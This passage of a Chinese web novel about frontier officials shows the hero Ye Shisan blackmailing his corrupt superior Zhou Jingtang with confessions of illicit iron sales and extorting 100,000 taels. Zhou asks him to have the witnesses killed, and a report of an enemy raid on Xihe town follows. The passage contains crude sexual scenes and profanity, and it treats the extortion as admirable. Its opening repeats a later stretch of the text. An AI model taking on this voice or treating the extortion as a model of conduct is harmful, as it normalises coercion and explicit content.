炕上的周敬堂,闻言之下瞳孔一阵紧缩。
是叶十三?
这狗东西,摸到这里来了?
陡然一惊的周敬堂,赶快抓起衣裤就往身上套,狼狈程度比起小妾来,只是差了一泡洒向脚面的尿水而已。
“当当当!”
屋门被从外面叩响。
“黄羊岘防区叶十三,有事求见周大人!”
还真是叶十三这个狗东西,都报上名来了。
套好了衣裤的周敬堂,稳了稳神,隔着屋门愠色道:“防区公务,不在衙门公堂等候,跑本官的内室何干?”
“启禀副万户大人,小的这次前来,还真不是为了公务?”
门外的叶十三不紧不慢,隔着门板回话。
磨蹭了一阵,周敬堂和小妾都穿戴整齐,这才指使小妾去给叶十三开门。
“叶十三见过周大人!”
一打照面,叶十三潦草一礼,耸耸鼻子,眉头一皱,就在还没关严的门边站了。
透透气吧!
屋子里这味,比张寡妇身上的味道好闻不了多少。
一股冷风,从门帘下吹了进来,这才让屋子里奇怪的味儿淡了一些。
被冷风激得打了个寒颤的周敬堂,一脸狐疑地望向叶十三,冷声道:“私闯本官内室,你可知罪?”
草!
不就是衙门的后堂设的临时住处吗?
还内室?
亏**说得出口。
叶十三暗骂一句,周敬堂的态度,丝毫不出他的意料。
叶十三并没有继续往里走,站在半掩着的门边,又道:“既然周大人如此不便,那么小的去军部谈也是一样。”
说着,叶十三索性把门开大一些,转身就准备往外走。
老东西,老子就不信你不喊住老子?
老子还让你这骚狗窝通通风,不然这冲天的骚气,熏得老子如何坐下来谈事?
就在叶十三一脚跨出了门槛的时候,身后的周敬堂喊道:“且慢!”
一听叶十三要去军部谈,周敬堂心头陡然一惊。
“叶千户留步,请进屋坐。”
周敬堂口气软了下来,目光一瞥一脸不情愿的小妾,示意她去把炭火挑旺一些。
刚才被叶十三撩着门帘,吹进来的冷风差点让他着凉。
浑身刚出过汗的人,是不敢让冷风给吹了的。
要是染了风寒,那可是要卧床的,搞不好还会要命。
“那就打搅周大人了!”
叶十三一脚跨在门外,一脚踩在门内,一手扶着门框,一手撩着门帘,进退两难地望向周敬堂。
没穿棉袍的周敬堂,被不断从门帘下吹进来的冷风,激得打了一个尿颤。
“啊嚏……”
周敬堂浑身一抖,一个喷嚏就下来。
“快进屋坐,屋里暖和。”
心里直骂娘的周敬堂,巴不得叶十三放下门帘把门关起。
后背一阵发凉,一阵尿意又袭了上来的小妾,夹着腿根碎步上前,把门一推说道:“还请叶大人里边坐,奴家这就去给叶大人烧茶。”
说着,小妾以最快的速度,把屋门给掩了起来。
“冻死你俩公母!”
叶十三肚里骂着,脸上却堆满了笑意,连声说道:“搅扰了周大人的美梦,实在是抱歉!”
周敬堂心里一阵不安,虚情假意地一指火盆旁的椅子,道:“坐下说,叶大人如此紧急,不知有何要紧的事找本官?”
“一点小事,无关公务。”
叶十三大大咧咧,一屁股就坐了下来,伸出两手在木炭火上烤着,又道:“小的最近手头有些紧……”
“住口!”
话还没说完,
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就被周敬堂粗暴打断。
“四通钱庄眼下关门歇业,要押贷银子,还需等上一段时日,本官也不知这四通钱庄何时开门迎客?”
提起手头紧,这不是银子的事吗?
一想到银子,周敬堂就像被扒了祖坟一样,骤然变脸,开始下了逐客令。
“周大人误会了!”
叶十三依旧笑意盈盈,丝毫不为周敬堂骤然变脸的态度所动,笑道:“小的还真不找四通钱庄,小的如获至宝的那些田产地契,已经被钱庄给弄丢了,就是钱庄要做小的的买卖,小的也拿不出可质押的东西啊!”
说着,叶十三从怀里拿出一张纸来,漫不经意地向周敬堂面前一推,道:“不知道这份玩意儿,能不能从周大人手里换几个油盐钱?”
在看到叶十三从矮桌上推过来的纸张,周敬堂的瞳孔骤然一阵紧缩。
白纸黑字,熟悉的签名和殷红的手印,这不是出自四通钱庄贾迎福的手笔吗?
“你……”
周敬堂面颊一阵抽搐,怒道:“他们果然在你手里,你想干什么?”
“小的,拿它换几个油盐钱给驻军弟兄们,防区的日子苦啊!吃得不好不说,还缺油少盐,如此下去,这如何了得啊?”
望着叶十三一脸苦哈哈的样子,要不是怵他腰间的那把**过成百**脑袋的刀,周敬堂差点就一个巴掌抡过去。
“告诉你!”
周敬堂极力让自己冷静下来,咬着牙道:“也许是本官平日里苛待了这些下人,他们居然如此污蔑本官,这算什么?不就一张废纸么!”
说着,周敬堂突然伸手,把那份罪状往火盆里的木炭火中一扔。
通红的木炭火,霎时就腾起一片火焰。
那张白纸黑字按着手印的罪状,瞬间就在叶十三面前就被化为灰烬。
“你给我滚出去!”
毁了罪证的周敬堂,一脸得意地看向叶十三,冷笑道:“你不是要去军部吗?去呀!本官不拦着你,几个下人诬陷本官的狗屁之言,还奈何不了周某人半分,你也未免拿这当回事了?”
“呵呵!”
叶十三伸了个懒腰,然后从怀里又拿出好几张一模一样的纸来,扬在手里说道:“就是把小的手中的这些全都烧了,小的也会再补上几百份来,既然周大人手头不便,小的还是去军部,说不定车骑大将军一高兴,赏几个银子给小的,岂不是更好?”
这下,周敬堂的脸都绿了。
他万没想到,叶十三这混蛋,手里还有备份。
第79章 衙门公堂
镇集热闹非凡,但四通钱庄的门却依然紧闭。
勒住马头在十字路口张望片刻,叶十三嘴角一扬,沉声道:“去衙门。”
“大人,您真的要见周敬堂?”
“不去见他,难道镇上还有老子的丈母娘要见?”
吃了一瘪的马成,顿时脖子一缩,跟在后面不再言语。
片刻后,衙门到了。
通天驿镇的衙门,行使的却是一个郡县的权力。
这处集通商、军事为一体的边城要塞之地,是大夏在北漠千里防线上的一大重镇。
相比之下三十里外的万川郡,反而成了通天驿镇大小官员们的生活区。
“站住,报上名来!”
刚接近衙门口,还没等下马,衙门口两侧值守的兵卒,就厉声斥责起来。
先行下了马的马成,虚扶叶十三下马,扭过头去刚要发怒,就被叶十三眼神制止。
“烦劳二位禀报一声,就说黄羊岘防区叶十三求见副万户周大人。”
叶十三?
两名兵卒面颊一抽,一人急忙就进去禀报。
另一人如临大敌,不由自主地把手按在佩刀上。
对这些,叶十三视若不见,一双眼睛四处张望,打量着衙门周围的环境。
就在这时,方才进去禀报的兵卒又出来,目无表情地说道:“周大人说了,让叶千户大堂等候。”
草!
这老鸟,还给老子端架子?
论官职,周敬堂要高出叶十三起码三级。
只要是什长以上的职位,晋升一级何其艰难。
只有百夫长以下的伍长到甲正,稍有功绩就可提拔擢升。
文官靠科考,武将晋升,那可是一路**出来的战功。
按大夏制,下千户见了副万户,那得跪礼。
官大一级压**,但周敬堂连大叶十三足有三级,但能不能压得住叶十三,这还是个未知数。
下了马的叶十三,双手背在身后,昂起头来就迈腿跨上衙门前的台阶。
“且慢!”
就在叶十三迈步就要进入衙门大堂的时候,被值守的兵卒喊住。
“请叶大人卸下刀具,任何人不得带兵器进入公堂。”
兵卒伸手一拦,让叶十三交出佩刀。
“去**!”
叶十三一怔,顺手“啪”的一声,就给了兵卒一个嘴巴。
“就是车骑大将军召见老子,也没让老子卸甲弃刀,武职人员刀不离身,难道你不知道?”
边防线上的驻军,睡觉都抱着刀的,何况眼下还是紧急战备状态。
“武职人员刀不离身,难道你不知道?”
马成鹦鹉学舌,举起巴掌重复了一句叶十三刚说过的话。
挨了一记嘴巴,捂着半边脸的兵卒,下意识地后退一步,眼睁睁地看着马成跟在叶十三身后,大摇大摆地进了衙门大堂。
到了大堂,发现一班兵卒虎视眈眈站在大堂两侧。
大堂的案桌后面,却不见周敬堂坐着。
一名留着山羊胡须的师爷,从案桌一侧走了下来,向叶十三拱手道:“请问千户大人,这么早来衙门有何公干?”
公干?
叶十三转过头去,向身后紧跟着的马成问道:“本千户来此有何公干?”
“啊……”
猝不及防的马成被叶十三如此一问,惊得张大了嘴,却不知道如何回答才好。
不是说要敲一笔银子吗?
难道叶十三给忘了?
看到马成张口结舌不知所措,叶十三像是想起了什么?
“哦!”
叶十三摆摆手,目光望向师爷,笑道:“要说公干,还真没有,这私事嘛!倒有一些要麻烦周大人了。”
私事?
师爷呼吸一窒,心头又是一惊。
可以说,周大人和这叶十三之间,虽然没有杀父之仇,但积怨也是不浅,还有何私事大清早要谈?
斜瞥一眼慌乱起来的师爷,叶十三摆摆手,又道:“衙门公堂是公干所在,既然是私事,那就请带路,去周大人的住所谈谈!”
此言一出,师爷面上一惊。
“叶大人请稍后,周大人他,还没起床呢!”
草!
这都日上三竿了,周敬堂这老东西还在暖被窝,却让老子在这里站着等他?
“那就不烦劳师爷了,本千户自己去找他。”
说着,叶十三背着双手,抬腿就向后衙走去。
“不可啊叶大人……”
面颊一阵急抽的师爷,正要上前阻拦,却被马成伸出一手给拦了下来。
“
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站住,两位大人有事密谈,我们这些下人瞎掺和什么?”
马成似笑非笑,把急得额头见汗的师爷给拦在一边。
大堂上的一班兵卒,相互对视一阵,站在原地不知所措。
“还愣着干什么?”
拦下了师爷的马成,转头把目光投向一班兵卒,道:“既然两位大人有私事商议,一时半会也没有公务要干,快去煮一壶好茶来,让兄弟我喝上几口暖暖身子。”
叶十三是不好惹,这是众所周知的。
能跟着叶十三打下手的人,想必也不是好缠的角色。
衙门的兵卒,在马成这样的老兵油子面前,还是略显嫩了点。
被马成这一通诈唬,就有兵卒跑去烧茶。
“这位管带请稍后,鄙人去去就来。”
放心不下的师爷,想找个借口溜去后衙看看。
“急什么?”
马成胳膊又是一伸,拦住了急于脱身的师爷。
“这么急,是你的老丈人中状元了?”
面对马成的一问,师爷面颊一抽,尬笑道:“鄙人的岳父已经仙逝三年有余了。”
“哪?”
马成眼睛一瞪,又问道:“那是你丈母娘生儿子了?”
“你……”
这一问,差点让师爷当场喷血。
老丈人都**三年多了,丈母娘和谁生儿子?
再说,看这师爷的年纪,也有四十好几快五十的人了,他的丈母娘还能生下个儿子?
这明明就是胡搅蛮缠。
“都不是!”
终于顺过一口气的师爷,气急败坏地又道:“鄙人是有紧急事情需要离开,并不是你说的那般。”
“哦,明白了!”
马成恍然大悟,点点头说道:“是你家娘子偷人,师爷这是急着要去捉奸?”
此言一出,就连一班虎视眈眈的兵卒们,也忍俊不住哄堂大笑。
几个胆小的,转过头去捂着嘴巴,把自己都笑出了眼泪。
还有的兵卒,笑得捂着肚子,蹲在地上直咳嗽不断。
就连在衙门外面挨了一个嘴巴的那个兵卒,偷窥到大堂上的这一幕时,也忘记了被抽过的疼痛,咧着被抽出了血沫的嘴巴傻笑着。
看来,这师爷平时的为人,是并不怎么好。
第80章 冻死你俩公母
后衙,周敬堂寝室。
“这么早就有人搅扰,真是烦人。”
一身白肉的小妾,从身上把气喘吁吁的周敬堂,用力给推了下来。
“别管他,让那狗东西外面冻着去。”
被小妾推到一边的周敬堂,平躺着直喘粗气,拿手背擦了一把额头的汗,又道:“跑来衙门找老子,必定是有事求着老子了,看老子不拖死他!”
小妾系好了肚兜,拿一团棉衣往白花花的腿间一塞,嘟囔道:“老是这样猴急火燎的,还没进门就吐外边了。”
“嗨嗨……”
周敬堂顺过一口气来,讪讪说道:“我这是被气的,都怪叶十三那个狗东西。”
翻身下了炕的小妾,白了周敬堂一眼,然后骑在门后的一只铜盆上说道:“按理说,生气时的男人,应该更猛火一些,奴家还等你把一肚子的气,出在奴家身上好了,奴家正等你弄**的架势呢,可你倒好,窝囊得还不如平常……”
一股急流冲刷在铜盆上的声响,夹杂着外面的一阵嚷嚷声传了过来。
“这大冷的天,围着火盆在炕上烤肉吃多好!”
“刺啦!”
被外面突来的说话声,惊吓得猛然站了起来的小妾,一股骚气冲天的尿水,就被滋到自己光着的两只脚上。
惊慌失措的小妾,胡乱抓过衣物套在身上后,说话声已经到了门口。
“看来,周大人这是在烤肉啊!”
炕上的周敬堂,闻言之下瞳孔一阵紧缩。
是叶十三?
这狗东西,摸到这里来了?
陡然一惊的周敬堂,赶快抓起衣裤就往身上套,狼狈程度比起小妾来,只是差了一泡洒向脚面的尿水而已。
“当当当!”
屋门被从外面叩响。
“黄羊岘防区叶十三,有事求见周大人!”
还真是叶十三这个狗东西,都报上名来了。
套好了衣裤的周敬堂,稳了稳神,隔着屋门愠色道:“防区公务,不在衙门公堂等候,跑本官的内室何干?”
“启禀副万户大人,小的这次前来,还真不是为了公务?”
门外的叶十三不紧不慢,隔着门板回话。
磨蹭了一阵,周敬堂和小妾都穿戴整齐,这才指使小妾去给叶十三开门。
“叶十三见过周大人!”
一打照面,叶十三潦草一礼,耸耸鼻子,眉头一皱,就在还没关严的门边站了。
透透气吧!
屋子里这味,比张寡妇身上的味道好闻不了多少。
一股冷风,从门帘下吹了进来,这才让屋子里奇怪的味儿淡了一些。
被冷风激得打了个寒颤的周敬堂,一脸狐疑地望向叶十三,冷声道:“私闯本官内室,你可知罪?”
草!
不就是衙门的后堂设的临时住处吗?
还内室?
亏**说得出口。
叶十三暗骂一句,周敬堂的态度,丝毫不出他的意料。
叶十三并没有继续往里走,站在半掩着的门边,又道:“既然周大人如此不便,那么小的去军部谈也是一样。”
说着,叶十三索性把门开大一些,转身就准备往外走。
老东西,老子就不信你不喊住老子?
老子还让你这骚狗窝通通风,不然这冲天的骚气,熏得老子如何坐下来谈事?
就在叶十三一脚跨出了门槛的时候,身后的周敬堂喊道:“且慢!”
一听叶十三要去军部谈,周敬堂心头陡然一惊。
“叶千户留步,请进屋坐。”
周敬堂口气软了下来,目光一瞥一脸不情愿的小妾,示意她去把炭火挑旺一些。
刚才被叶十三撩着门帘,吹进来的冷风差点让他着凉。
浑身刚出过汗的人,是不敢让冷风给吹了的。
要是染了风寒,那可是要卧床的,搞不好还会要命。
“那就打搅周大人了!”
叶十三一脚跨在门外,一脚踩在门内,一手扶着门框,一手撩着门帘,进退两难地望向周敬堂。
没穿棉袍的周敬堂,被不断从门帘下吹进来的冷风,激得打了一个尿颤。
“啊嚏……”
周敬堂浑身一抖,一个喷嚏就下来。
“快进屋坐,屋里暖和。”
心里直骂娘的周敬堂,巴不得叶十三放下门帘把门关起。
后背一阵发凉,一阵尿意又袭了上来的小妾,夹着腿根碎步上前,把门一推说道:“还请叶大人里边坐,奴家这就去给叶大人烧茶。”
说着,小妾以最快的速度,把屋门给掩了起来。
“冻死你俩公母!”
叶十三肚里骂着,脸上却堆满了笑意,连声说道:“搅扰了周大人的美梦,实在是抱歉!”
周敬堂心里一阵不安,虚情假意地一指火盆旁的椅子,道:“坐下说,叶大人如此紧急,不知有何要紧的事找本官?”
“一点小事,无关公务。”
叶十三大大咧咧,一屁股就坐了下来,伸出两手在木炭火上烤着,又道:“小的最近手头有些紧……”
“住口!”
话还没说完,
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就被周敬堂粗暴打断。
“四通钱庄眼下关门歇业,要押贷银子,还需等上一段时日,本官也不知这四通钱庄何时开门迎客?”
提起手头紧,这不是银子的事吗?
一想到银子,周敬堂就像被扒了祖坟一样,骤然变脸,开始下了逐客令。
“周大人误会了!”
叶十三依旧笑意盈盈,丝毫不为周敬堂骤然变脸的态度所动,笑道:“小的还真不找四通钱庄,小的如获至宝的那些田产地契,已经被钱庄给弄丢了,就是钱庄要做小的的买卖,小的也拿不出可质押的东西啊!”
说着,叶十三从怀里拿出一张纸来,漫不经意地向周敬堂面前一推,道:“不知道这份玩意儿,能不能从周大人手里换几个油盐钱?”
在看到叶十三从矮桌上推过来的纸张,周敬堂的瞳孔骤然一阵紧缩。
白纸黑字,熟悉的签名和殷红的手印,这不是出自四通钱庄贾迎福的手笔吗?
“你……”
周敬堂面颊一阵抽搐,怒道:“他们果然在你手里,你想干什么?”
“小的,拿它换几个油盐钱给驻军弟兄们,防区的日子苦啊!吃得不好不说,还缺油少盐,如此下去,这如何了得啊?”
望着叶十三一脸苦哈哈的样子,要不是怵他腰间的那把**过成百**脑袋的刀,周敬堂差点就一个巴掌抡过去。
“告诉你!”
周敬堂极力让自己冷静下来,咬着牙道:“也许是本官平日里苛待了这些下人,他们居然如此污蔑本官,这算什么?不就一张废纸么!”
说着,周敬堂突然伸手,把那份罪状往火盆里的木炭火中一扔。
通红的木炭火,霎时就腾起一片火焰。
那张白纸黑字按着手印的罪状,瞬间就在叶十三面前就被化为灰烬。
“你给我滚出去!”
毁了罪证的周敬堂,一脸得意地看向叶十三,冷笑道:“你不是要去军部吗?去呀!本官不拦着你,几个下人诬陷本官的狗屁之言,还奈何不了周某人半分,你也未免拿这当回事了?”
“呵呵!”
叶十三伸了个懒腰,然后从怀里又拿出好几张一模一样的纸来,扬在手里说道:“就是把小的手中的这些全都烧了,小的也会再补上几百份来,既然周大人手头不便,小的还是去军部,说不定车骑大将军一高兴,赏几个银子给小的,岂不是更好?”
这下,周敬堂的脸都绿了。
他万没想到,叶十三这混蛋,手里还有备份。
第81章 老子弄死你
望着叶十三手中的纸张。
周敬堂额头已经见汗。
要是在平时,这种罪状,还真奈何不了他周敬堂。
可眼下,大夏与元蒙的关系日渐紧张,大战一触即发。
在这个节骨眼上,如果让军部抓着他向元蒙**私售铁器的把柄,再是朝中有人,那也让他一时难以周全。
“开个价吧!”
周敬堂怂了。
“还是周大人怜悯驻军的苦处,小的代表弟兄们先谢过大人。”
叶十三向周敬堂拱手一礼,又道:“小的也不多要,就给十万两银子好了,这年头,兵荒马乱的,都不容易。”
十万两?
周敬堂面颊又是一阵急抽,差点就喷出一口老血。
十万两银子不是个小数,但在叶十三嘴里,轻松得就像是要一个馒头。
这年头,一个馒头足矣让一个乞讨者活命。
一个馒头能够让村民的婆娘脱下裤子。
十万两银子啊!
周敬堂只觉胸口一阵发闷,摇晃了两下差点就栽倒。
“周大人要是手头不便,小的也就不打搅了!”
叶十三把手中的纸张重新揣进怀里,从火盆旁缓缓站了起来,绕过地上的矮桌准备离开。
就在叶十三走到门口,和进屋时一样挑起门帘正准备一脚跨了出去。
“等等……”
周敬堂面色铁青,一脸凶狠地盯着叶十三,思忖片刻,道:“说定了,就十万两银子,不过……”
“不过什么?”
面对欲言又止的周敬堂,叶十三转过头来,惊讶道:“周大人还有吩咐?”
周敬堂狼一样盯着叶十三,嘴角拧起一丝阴笑,沉声道:“银子我给你,但你必须把那些人……”
周敬堂把一只手掌放在自己的咽喉上,做了个抹脖子的动作。
“**是不会再搬弄是非的。”
周敬堂说完,紧盯着叶十三的脸。
“大人的意思是?”
叶十三举出一只手来,巴掌并拢起来,然后伸到周敬堂的下巴底下,模仿着周敬堂方才的动作狠狠一拉,道:“是这样吗?”
“没错!”
周敬堂一挥手,把叶十三伸向他下巴下面的那只手掌挡开出去,怒道:“是他们,不是我。”
“呃呃!”
叶十三点点头,连声道:“是他们,不是周大人。”
“明白就好!”
周敬堂狠瞪叶十三一眼,这才转过身去,走到一个柜子前面,从怀里摸出一把钥匙,背着身子数了一叠银票。
“银票给你,那些玩意儿给我,你我之间就算两清了,不过,你答应我的那事,可得办妥了。”
说着,周敬堂又拿手掌,在自己的咽喉处抹了一下。
他在提醒叶十三,不要忘了刚才的附加条件。
“请周大人放心,小的……”
叶十三嘴里连连答应着,伸出手又要模仿那个动作,周敬堂面色一沉,向后退了一步,道:“既然事情谈妥了,周某也就不耽误叶大人的时间了。”
草!
这就下逐客令了?
这么远的路都赶来了,也不留老子吃顿午饭?
这死胖子,真**小气。
叶十三肚里一阵嘟囔,脸上堆笑地把银票揣进怀里,然后把那几份纸张放在矮桌上,潦草向周敬堂一礼,呲着牙就离开了后衙。
目送叶十三的背影不见,周敬堂“砰”的一声踹上了门,然后快步走到火盆旁边,一把抓起那几张纸塞进燃烧正旺的木炭火中。
“气死老子了,这狗东西,真**该死!”
怒气冲天的周敬堂,烧掉了那些罪状,来回地在屋里走动个不停。
“大人,喝些茶水消消气。”
小妾已经烧好了茶水,从隔间里提着茶壶出来。
“狗东西,要是犯在老子的手里,老子定将你**万段。”
周敬堂来回走着,嘴里喋喋不休地怒骂个不停。
看到周敬堂被气得如此抓狂,提着茶壶的小妾脸上突然闪过一丝不易察觉的笑意。
“大人,有气了就出在奴家身上,不要憋在心里气坏了身子……”
小妾表情古怪,放下茶壶,缓缓走的炕前,伸手解开了衣带就仰面朝天往炕面上叉腿一躺。
“老子弄死你……”
再次被激怒的周敬堂,猛然转过身去,瞪着一双血红的眼睛,狠盯着炕上一脸期待的小妾,把牙咬得咯咯直响,然后就粗暴地压了上去……
后衙屋子里,在小妾
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哭爹喊娘的叫声中,叶十三和马成,已经骑着马离开了镇子。
走在路上,马成思忖片刻,说道:“大人,我们好像忘了吃午饭,那家馆子的羊肉……”
“你**,饿死鬼投胎啊?”
骂了马成一句,叶十三这才记起来,居然忘了去那家馆子饱餐一顿。
那家馆子的羊肉,煮得真**香。
“大人,这个给您。”
吃了一瘪的马成,催马紧赶几步,待与叶十三的马身平齐的时候,把一个夹着大酱的白面馒头,举着递给叶十三。
“你小子,还留了这一手?”
叶十三接过馒头,夸了马成一句,但想起那家馆子的清炖羊肉,手里握着的白面馒头立马就不觉得香了。
“大人,那周敬堂给银子了吗?”
对此毫不知情,在衙门大堂上缠住师爷的马成,小心翼翼地又是一问。
叶十三嘴里啃着一块馒头,含糊不清地说道:“要是那老东西痛快给银子,我还至于和你小子啃这个?”
“还是白面馒头好,夹上大酱更香。”
马成一缩脖子,急忙啃起手中的馒头来,至于周敬堂给没给银子,还真不干他的事。
……
半晌后,精疲力尽的周敬堂爬下炕来。
连喝了半壶热茶,长长地舒过一口气后,有气无力地说道:“传师爷过来。”
一脸满足的小妾,正骑在门后的铜盆上畅汗淋漓的放了一泡尿,嗲声嗲气地说道:“钱庄得尽早开门,不然如此下去,会把大人掏空的。”
“老子早都让你这狐狸精给掏空了。”
周敬堂怒骂一句,又道:“给老子煮一碗参汤,记得放一根鹿鞭一起炖了。”
“大人稍候,奴家这就去。”
小妾系好了衣带,披了一件狐皮大麾,扭着圆滚滚的屁股风摆柳摇地就出了后衙。
不多时,师爷到了。
周敬堂就像狼一样,眼神冷冷地盯着师爷半天,突然开口说道:“宋铁嘴你可给我听好了,物色两个伙计,天黑之前务必把钱庄的账盘清楚了,明天一早,我要看到四通钱庄开门做买卖。”
原本忐忑不安的师爷,闻言后心头一震,随即就把一颗悬着的心放了下来。
第82章 穷家富路
傍晚时分,叶十三回到营房。
“带贾迎福来见我。”
水都没顾上喝一口,叶十三让马成去菜窖把贾迎福带过来。
片刻之后,贾迎福被带到。
昨晚半夜吃了一顿饱饭,估计今天中午又给着吃了,贾迎福的气色看起来比昨晚好多了。
“老子决定,放你一条生路。”
叶十三斜瞥贾迎福一眼,漫不经心地就是一句。
“大人,您不把小的送官?”
“呵呵,你一个无足轻重的小人物,送官何用?”
“小的还是犯下了滔天大罪,就是小的招了,也难赎满身的罪孽啊!”
也许是被饿怕了,或者是贾迎福醒悟了,那些铁器要是打造成兵器,不知道会有多少大夏的兵士和百姓死于**之手?
叶十三摇摇头,笑道:“就你背后的东家,老子也没向军部控告他的罪行,你无非就是他的一条狗而已。”
“大人,那更不能把小的交给周大人了。”
贾迎福眼里满是恐惧,跪在地上浑身直抖。
“谁说要将你交给他了?”
叶十三狠瞪贾迎福一眼,撇嘴说道:“离开衙门的时候,他说只有**才不会说话。”
不料,贾迎福听了,并没有表示出惊讶。
苦笑一下,悲声说道:“小的早就料到有这么一天,只是没想到这一天会来得如此之快。”
“明白就好。”
“大人的意思是?”
“杀了你,对老子来说毫无意义。”
“谢大人不杀之恩。”
“晚饭过后,老子让他们准备些你在路上吃的干粮,再给你一匹马,至于你想去哪里?这老子就管不着了,老子也不想知道。”
听到叶十三要放他走,贾迎春顿时就像被雷击了一样。
“大人,您为何要放了小的?”
“老子说了,你只是个无足轻重的小人物而已,你的死活,老子不感兴趣。”
又得了十万两银子的叶十三,当然不会再去为难一个下人。
杀一个下人,真不是男子汉所为。
“大人……”
神情一怔的贾迎福,伏在地上顿时老泪纵横,哭得是稀里哗啦不可收拾。
“行了!”
见贾迎福如此,叶十三不耐烦地摆摆手,道:“今夜定有月光,如何走?你心里肯定有数。”
这一点,叶十三就是不说,贾迎福心里也清楚。
官道定是走不成了,还得趁着夜色的掩护绕开通天驿镇。
幸好,周敬堂决定四通钱庄关门歇业一段时间时,他让家小回了老家暂住。
这一下,就不必冒险再回镇上一趟了。
不一会,马成提着一个包裹,里面装满了黑面饽饽,还一一只羊皮缝制的水袋。
叶十三指着包裹,沉声道:“拿上这些,离开边城,走得越远越好。”
“大人……”
伏在地上的贾迎福泣不成声。
叶十三目光看向马成,道:“把拉车的那匹老马给他,让他自求多福吧!”
老马?
叶十三也够大方的,就是快要死的马匹,宰杀了也可给兵士们改善伙食。
再差的肉,也比粗粮和山药蛋好吃多了。
至于战马,叶十三当然是舍不得送给贾迎福这样的货色了。
趁着马成去牵马,贾迎福从地上爬起,低声说道:“大人,周敬堂在西河镇还有一家粮行和一家货栈,尤其是货栈,暗地里没少和**做买卖,这多年来可挣了不少的钱。”
这话,又让叶十三眼前一亮。
粮食,布匹,不就是**最稀缺的物资吗?
看来,他还是低估周敬堂的实力了,能把手伸这么远,那可不是一般人能办得到的。
西河镇这个地方,叶十三是知道的。
在充军的路上,曾经路过那个镇子。
西河镇的人口,要比这通天驿镇密集多了,比起通商的路途,只是比通天驿镇稍稍偏远了一些。
这个消息,让叶十三振奋不已。
“给,穷家富路,拿着。”
叶十三摸出两锭银子,往桌上一丢,让贾迎福拿着跑路。
“大人……”
贾迎福万万没想到,叶十三不但放了他,而且还给了他二十两现银。
这些年,他在周敬堂手下虽然有些积蓄,但那是银票,没办法就近兑换银子路上使用。
“小的要是能活着回去,定要给大人您供上长生牌位,感谢大人的再生之恩。”
贾迎福重新跪了下来,恭恭敬敬地向叶十
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三磕了三个响头。
此时,马成已经牵来了马。
叶十三扬扬手,贾迎福从桌上拿过包裹和银子,感激地望了叶十三一眼,然后躬身退了出去……
翌日清晨,一队兵马呼啸而来。
来者还是周钊。
这周钊,陪车骑大将军视察完黄羊岘防区还没几天。
这又是有何紧急事务?
望着神情严肃,急匆匆走进营门的周钊,叶十三知道,又有大事发生了。
叶十三迎出营房,正准备大礼参见的时候,周钊摆摆手,边往营房里走着,边说道:“即刻布防下去,各烽火台务必昼夜警惕。”
“周将军,**有异动?”
叶十三心头一震,但面上不动声色,他预料得没错,**暂且放弃黄羊岘防区,会找一处防务比较弱的地方下手。
果然,周钊目光盯着叶十三,道:“何止是异动,**昨夜袭击了西河镇的沙柳滩村,**我大夏驻军一百二十三人,百姓八十六人,伤者无数,沙柳滩村的粮食,牛羊尽数被抢光。”
“如此严重?”
叶十三眉头一皱,插嘴便问。
“唉!”
周钊长叹一声,摇头道:“沙柳滩村五百驻军,损失竟然如此之大,西河镇驻军千户罗远桥被**射死……”
草!
这罗远桥,这下好了!
一听这名字就不吉利,远桥?
去阎王爷那里投胎报到的奈何桥可是不假。
还远桥?
你**,当初让你老子给起个“罗鼠洞”多好?
说不定还能躲过这一劫的哈!
叶十三不禁哑然失笑,肚里没少骂那个倒霉的千户罗远桥。
看着叶十三呆愣着想问题,周钊正色又道:“传车骑大将军令,黄羊岘防区下千户叶十三,即日起,接管西河镇防区一切军务……”
草!
这是几个意思?
**被**杀惨了,这才想起老子来了?
当初老子杀了那么多的**,按照朝廷的嘉奖令,给老子晋升个副万户,让老子统领两镇驻军,哪会有沙柳滩村驻军和老百姓的这一场劫难?
等肚里骂够了,叶十三神情一变,单腿跪地,抱拳应道:“叶十三谨遵车骑大将军令。”
第83章 驻军大营,被血洗后的惨状
兴奋之余,叶十三倍感压力暴增。
传完军令的周钊,留下一枚令牌,水得没喝一口就匆匆离去。
前线防区,还是不宜久留。
只带着几名随从卫兵的周钊,当然不想在这些地方多停留一会。
“即刻造饭,准备干粮。”
望着绝尘而去的周钊几个,叶十三立刻吩咐下去。
“来人,传本千户令,蔡云,戚虎,还有徐老六和郑一刀,速来营房开会。”
正好,蔡云和戚虎,带着驻军这几天正在屯田村的练兵校场上训练拼杀。
不大一会,几人都匆匆赶到。
叶十三目光一扫几人,沉声道:“即刻暂停演练,蔡云带自己的兵马,速回落雁坡村驻防。”
“戚虎也是一样,带着兵马回鹞子岭。”
“你二人可听好了,务必给自己手下的甲正布置好防务任务,烽火台更不能掉以轻心。”
“徐佥事防务区域不变,在岘口派兵死守,营造声势,以防鞑子突袭。”
“郑一刀前辈,留在屯田村签房值守,和韩老三组织各军户以备不时之需。”
叶十三一口交代完部署,待几人领了他的军令匆匆离开后,让马戏去烽火台向丁威传令严加值守。
草草吃过早饭,叶十三决定,留下马成守着营房,及时做好来回跑腿传讯准备。
吴六子已经带着十名骑兵探马整装待发。
“不可掉以轻心,你是烽火台的老人了,经验不少,这边你就盯紧了。”
已经跨上了马背的叶十三,回头又向马成叮咛一句。
“大人放心,小的就是跑断了腿,也不敢耽误了大人的部署。”
做完一切部署,叶十三一勒马缰,胯下的战马仰头嘶鸣一声,敞开四蹄就冲向营房大院的栅门……
一行十二匹健马,扬起漫天的尘土,一路向八十里开外的西河镇绝尘而去。
两个时辰后,叶十三一行到了西河镇地界。
沙柳滩村,紧挨着十五里外的西河镇,从北防线的地理上来看,这个位置相对的安全一些。
可是鞑子,却选择了这么一处村子入侵。
“大人,看这地理地形,损失如此惨重的话,鞑子应该出动的兵马不少?”
吴六子观望四周,不禁一脸惊奇。
叶十三笑了,笑得有些诡异。
“未必!”
在和吴六子一样观察了一番后,叶十三摆手道:“鞑子出动的兵力并不多,只是那些草包们太弱,导致村里百姓如此遭殃。”
此言一出,吴六子沉默不语。
各村驻军的现状,他们最清楚不过了。
无论从兵器,战马,粮饷来说,都比不上北防军的常备部队,所谓的村镇驻军,无非就是个自欺欺人的稻草人罢了。
“鸟都吓不住,还能吓住鞑子?”
叶十三自语一句,一扬手中马鞭,胯下的战马又狂奔起来。
不大时候,到了受害最严重的沙柳滩村。
望着被鞑子烧毁的部分茅草屋,还有村里到处传来的哭声,叶十三的脸都绿了。
在驻军大营,叶十三又看到满院子的伤兵,绑着脏兮兮的绷带靠墙躺着直哼哼。
大冷的天,他们就那样躺着。
一些没有受伤的兵士们,正在积极备战,以防鞑子再次卷土重来。
